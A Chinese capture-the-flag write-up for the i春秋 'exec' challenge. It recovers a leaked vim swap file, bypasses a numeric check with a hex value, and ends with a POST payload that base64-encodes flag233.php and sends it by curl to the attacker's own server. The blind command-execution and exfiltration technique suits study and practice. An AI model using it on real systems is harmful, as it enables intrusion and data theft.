i春秋exec

2022-12-29,

打开是一个gif,提示文字未登录

话不多说,查看源码

发现vim字样,可能是文件泄露

直接在url后加/.index.php.swp来下载泄露文件

下载好了之后放vm上使用vim -r  .index.php.swp  修复文件

打开后的文件为

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>
</body>
</html>

进行代码分析:

先告诉我们flag在flag233.php(试着访问,告诉我hhhhhhhhhhh,too young too simple。。。。看来是个骗局)

Flag233.php里面什么都没有,接着读

发现它定义了一个check函数

大意是:

①定义变量one其值是数字1的ASCII码

②定义变量nine其值是数字9的ASCII码

③定义循环,条件是当i小于变量number的长度的时候就执行,每次i+1,令变量digit的值每次为ord($number{$i}),如果其值介于49和57之间就返回false,如果number中没有在ascii中对应49到57之间的数字就让number等于11259375。

然后是一个条件判断:

如果$_GET[sign])存在,且通过check函数后的$_GET[sign])不为false,就向客户端发送一个 HTTP cookie,又如果post传入了cmd的值,则执行外部程序(cmd的值),并输出最后一行shell结果

首先绕过第一个判断,让sign的值等于11259375并且sign中不包含1-9数字,这里就直接使用

16进制来绕过,让sign等于0xabcdef。其值就等于11259375并且不包含1-9的数字

然后就是上次cookie和执行命令了,这里的命令只输出最后一行shell的结果所以就没法直接查看文件

我们使用exec()函数来执行cmd命令,查看flag233.php的内容

构造post:cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data(其中xxx为自己的服务器地址)

让其对自己服务器进行访问并留下日志,最后去服务器上查看日志就可以得到flag了

i春秋exec的相关教程结束。

《i春秋exec.doc》

下载本文的Word格式文档,以方便收藏与打印。